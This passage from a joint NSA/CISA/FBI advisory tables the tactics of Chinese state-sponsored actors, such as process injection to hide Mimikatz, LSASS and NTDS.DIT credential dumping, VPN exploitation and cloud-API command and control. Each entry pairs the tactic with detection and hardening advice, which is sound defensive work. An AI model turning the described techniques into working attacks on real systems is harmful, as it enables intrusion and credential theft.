      • Process Lineage Analysis [D3-PLA]

Isolate:

  • Network Isolation
    • Inbound Traffic Filtering [D3-ITF]

Create or Modify System Process [T1543]:

Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence.

Note: this technique also applies to Privilege Escalation [TA0004].

  • Only allow authorized administrators to make service changes and modify service configurations. 
  • Monitor processes and command-line arguments for actions that could create or modify services, especially if such modifications are unusual in your environment.
  • Monitor WMI and PowerShell for service modifications.
Detect:

  • Process Analysis 
    • Process Spawn Analysis [D3-PSA]

Tactics: Privilege Escalation [TA0004]

Table VI: Chinese state-sponsored cyber actors’ Privilege Escalation TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Domain Policy Modification [T1484]

Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.

Note: this technique also applies to Defense Evasion [TA0005].

  • Identify and correct Group Policy Object (GPO) permissions abuse opportunities (e.g., GPO modification privileges) using auditing tools.
  • Monitor directory service changes using Windows event logs to detect GPO modifications. Several events may be logged for such GPO modifications.
  • Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.

Detect:

  • Network Traffic Analysis
    • Administrative Network Activity Analysis [D3-ANAA]
  • Platform Monitoring
    • Operating System Monitoring
      • System File Analysis [D3-SFA]

Process Injection [T1055]: 

Chinese state-sponsored cyber actors have been observed:

  • Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.
  • Using shellcode that injects implants into newly created instances of the Service Host process (svchost)

Note: this technique also applies to Defense Evasion [TA0005].
 

  • Use endpoint protection software to block process injection based on behavior of the injection process.
  • Monitor DLL/Portable Executable (PE) file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
  • Monitor for suspicious sequences of Windows API calls such as CreateRemoteThread, VirtualAllocEx, or WriteProcessMemory and analyze processes for unexpected or atypical behavior such as opening network connections or reading files.
  • To minimize the probable impact of a threat actor using Mimikatz, always limit administrative privileges to only users who actually need it; upgrade Windows to at least version 8.1 or 10; run Local Security Authority Subsystem Service (LSASS) in protected mode on Windows 8.1 and higher; harden the local security authority (LSA) to prevent code injection.
  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Mandatory Access Control [D3-MAC]

Tactics: Defense Evasion [TA0005]

Table VII: Chinese state-sponsored cyber actors’ Defensive Evasion TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Deobfuscate/Decode Files or Information [T1140]

Chinese state-sponsored cyber actors were observed using the 7-Zip utility to unzip imported tools and malware files onto the victim device.

  • Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
  • Consider blocking, disabling, or monitoring use of 7-Zip.

Detect: 

  • Process Analysis 
    • Process Spawn Analysis [D3-PSA]

Isolate: 

  • Execution Isolation
    • Executable Denylisting [D3-EDL]

Hide Artifacts [T1564]

Chinese state-sponsored cyber actors were observed using benign executables which used DLL load-order hijacking to activate the malware installation process.

  • Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts, such as executables using DLL load-order hijacking that can activate malware.
  • Monitor event and authentication logs for records of hidden artifacts being used.
  • Monitor the file system and shell commands for hidden attribute usage.

Detect: 

  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA

Isolate:

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Indicator Removal from Host [T1070]

Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands.
Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.

  • Make the environment variables associated with command history read only to ensure that the history is preserved.
  • Recognize timestomping by monitoring the contents of important directories and the attributes of the files. 
  • Prevent users from deleting or writing to certain files to stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.
  • Monitor for command-line deletion functions to correlate with binaries or other files that an adversary may create and later remove. Monitor for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce.
  • Monitor and record file access requests and file handles. An original file handle can be correlated to a compromise and inconsistencies between file timestamps and previous handles opened to them can be a detection rule.

Detect: 

  • Platform Monitoring
    • Operating System Monitoring
      • System File Analysis [D3-SFA]
  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA

Isolate:

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Obfuscated Files or Information [T1027]

Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.

Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.

Detect:

  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA]

Signed Binary Proxy Execution [T1218]

Chinese state-sponsored cyber actors were observed using Microsoft signed binaries, such as Rundll32, as a proxy to execute malicious payloads.

Monitor processes for the execution of known proxy binaries (e.g., rundll32.exe) and look for anomalous activity that does not follow historically good arguments and loaded DLLs associated with the invocation of the binary.

Detect:

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA

Tactics: Credential Access [TA0006]

Table VIII: Chinese state-sponsored cyber actors’ Credential Access TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Exploitation for Credential Access [T1212]

Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.

  • Update and patch software regularly.

  • Use cyber threat intelligence and open-source reporting to determine vulnerabilities that threat actors may be actively targeting and exploiting; patch those vulnerabilities immediately.

Harden: 

  • Platform Hardening

    • Software Update [D3-SU]

  • Credential Hardening

    • Multi-factor Authentication [D3-MFA]

OS Credential Dumping [T1003]
•    LSASS Memory [T1003.001]
•    NTDS [T1003.003]

Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.

  • Monitor process and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NDST.DIT.

  • Ensure that local administrator accounts have complex, unique passwords across all systems on the network.

  • Limit credential overlap across accounts and systems by training users and administrators not to use the same passwords for multiple accounts.

  • Consider disabling or restricting NTLM. 

  • Consider disabling WDigest authentication. 

  • Ensure that domain controllers are backed up and properly secured (e.g., encrypt backups).

  • Implement Credential Guard to protect the LSA secrets from credential dumping on Windows 10. This is not configured by default and requires hardware and firmware system requirements. 

  • Enable Protected Process Light for LSA on Windows 8.1 and Windows Server 2012 R2.

Harden:

  • Credential Hardening [D3-CH]

Detect: 

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

    • System Call Analysis [D3-SCA]

Isolate: 

  • Execution Isolation

    • Hardware-based Process Isolation [D3-HBPI]

    • Mandatory Access Control [D3-MAC]

Tactics: Discovery [TA0007]

Table IX: Chinese state-sponsored cyber actors’ Discovery TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

File and Directory Discovery [T1083]

Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. WMI and PowerShell should also be monitored.

Detect: 

  • User Behavior Analysis

    • Job Function Access Pattern Analysis [D3-JFAPA]

  • Process Analysis 

    • Database Query String Analysis [D3-DQSA]

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA]

Permission Group Discovery [T1069]

Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network. 

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Detect: 

  • Process Analysis 

  • Process Spawn Analysis [D3-PSA]

    • System Call Analysis [D3-SCA]

  • User Behavior Analysis [D3-UBA]  

Process Discovery [T1057]

Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices.

Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. 

Detect: 

  • Process Analysis 

    • Process Spawn Analysis [D3-PSA]

    • System Call Analysis [D3-SCA]

  • User Behavior Analysis [D3-UBA]

Network Service Scanning [T1046]

Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information.

•    Ensure that unnecessary ports and services are closed to prevent discovery and potential exploitation.
•    Use network intrusion detection and prevention systems to detect and prevent remote service scans such as Nbtscan or nmap.
•    Ensure proper network segmentation is followed to protect critical servers and devices to help mitigate potential exploitation.

Detect: 

  • Network Traffic Analysis

    • Connection Attempt Analysis [D3-CAA]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Remote System Discovery [T1018]

Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information.

Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.

Detect: 

  • Process Analysis 

    • Process Spawn Analysis [D3-PSA]

  • User Behavior Analysis

    • Job Function Access Pattern Analysis [D3-JFAPA]

Tactics: Lateral Movement [TA0008]

Table X: Chinese state-sponsored cyber actors’ Lateral Movement TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Exploitation of Remote Services [T1210]

Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.

Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.

Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.

Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.

  • Disable or remove unnecessary services.

  • Minimize permissions and access for service accounts.

  • Perform vulnerability scanning and update software regularly.

  • Use threat intelligence and open-source exploitation databases to determine services that are targets for exploitation.

Detect: 

  • Network Traffic Analysis

    • Remote Terminal Session Detection [D3-RTSD

  • User Behavior Analysis [D3-UBA]

Isolate:

  • Execution Isolation

    • Mandatory Access Control [D3-MAC]

Tactics: Collection [TA0009]

Table XI: Chinese state-sponsored cyber actors’ Collection TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Archive Collected Data [T1560]

Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.

  • Scan systems to identify unauthorized archival utilities or methods unusual for the environment.

  • Monitor command-line arguments for known archival utilities that are not common in the organization’s environment.

Detect: 

  • Process Analysis 

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA]

Isolate:

  • Execution Isolation

    • Executable Denylisting [D3-EDL]

Clipboard Data [T1115]

Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard.

  • Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity (e.g. excessive use of pbcopy/pbpaste (Linux) or clip.exe (Windows) run by general users through command line).

  • If possible, disable use of RDP and other file sharing protocols to minimize a malicious actor’s ability to exfiltrate data.

Detect:

  • Network Traffic Analysis

    • Remote Terminal Session Detection  [D3-RTSD]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

    • Outbound Traffic Filtering [D3-OTF

Data Staged [T1074]

Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.

Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as using 7-Zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

Detect: 

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

Email Collection [T1114]

Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.

  • Audit email auto-forwarding rules for suspicious or unrecognized rulesets.

  • Encrypt email using public key cryptography, where feasible.

  • Use MFA on public-facing mail servers.

Harden:

  • Credential Hardening

    • Multi-factor Authentication [D3-MFA]

  • Message Hardening

Detect: 

  • Process Analysis [D3-PA]

Tactics: Command and Control [TA0011]

Table XII: Chinese state-sponsored cyber actors’ Command and Control TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
 
Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Application Layer Protocol [T1071]

Chinese state-sponsored cyber actors have been observed:

  • Using commercial cloud storage services for command and control.

  • Using malware implants that use the Dropbox® API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive® API.

Use network intrusion detection and prevention systems with network signatures to identify traffic for specific adversary malware.

Detect: 

  • Network Traffic Analysis

    • Client-server Payload Profiling [D3-CSPP]

    • File Carving [D3-FC]

Isolate: 

  • Network Isolation

Ingress Tool Transfer [T1105]

Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks. In some instances. Chinese state-sponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.

  • Perform ingress traffic analysis to identify transmissions that are outside of normal network behavior. 

  • Do not expose services and protocols (such as File Transfer Protocol [FTP]) to the Internet without strong business justification.

  • Use signature-based network intrusion detection and prevention systems to identify adversary malware coming into the network.

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Non-Standard Port [T1571]

Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure. 

  • Use signature-based network intrusion detection and prevention systems to identify adversary malware calling back to C2.

  • Configure firewalls to limit outgoing traffic to only required ports based on the functions of that network segment.

  • Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port.

Detect:  

  • Network Traffic Analysis

    • Client-server Payload Profiling [D3-CSPP]

    • Protocol Metadata Anomaly Detection [D3-PMAD]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

    • Outbound Traffic Filtering [D3-OTF]

Protocol Tunneling [T1572]

Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity. 

  • Monitor systems for connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client.

  • Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards.

  • Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) 

Detect: 

  • Network Traffic Analysis

    • Protocol Metadata Anomaly Detection [D3-PMAD]

Proxy [T1090]: 

Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.

Monitor traffic for encrypted communications originating from potentially breached routers to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are authorized VPN connections or other encrypted modes of communication.

  • Alert on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.

  • Use network allow and blocklists to block traffic to known anonymity networks and C2 infrastructure.

Detect: 

  • Network Traffic Analysis

    • Protocol Metadata Anomaly Detection [D3-PMAD]

    • Relay Pattern Analysis [D3-RPA]

Isolate: 

  • Network Isolation

    • Outbound Traffic Filtering [D3-OTF]

Appendix B: MITRE ATT&CK Framework 

Figure 2: MITRE ATT&CK Enterprise tactics and techniques used by Chinese state-sponsored cyber actors (Click here for the downloadable JSON file.) 

Contact Information

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.dhs.gov.

For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.

Media Inquiries / Press Desk:
•    NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov
•    CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov
•    FBI National Press Office, 202-324-3691, npo@fbi.gov

References

Revisions

  • July 19, 2021: Initial Version

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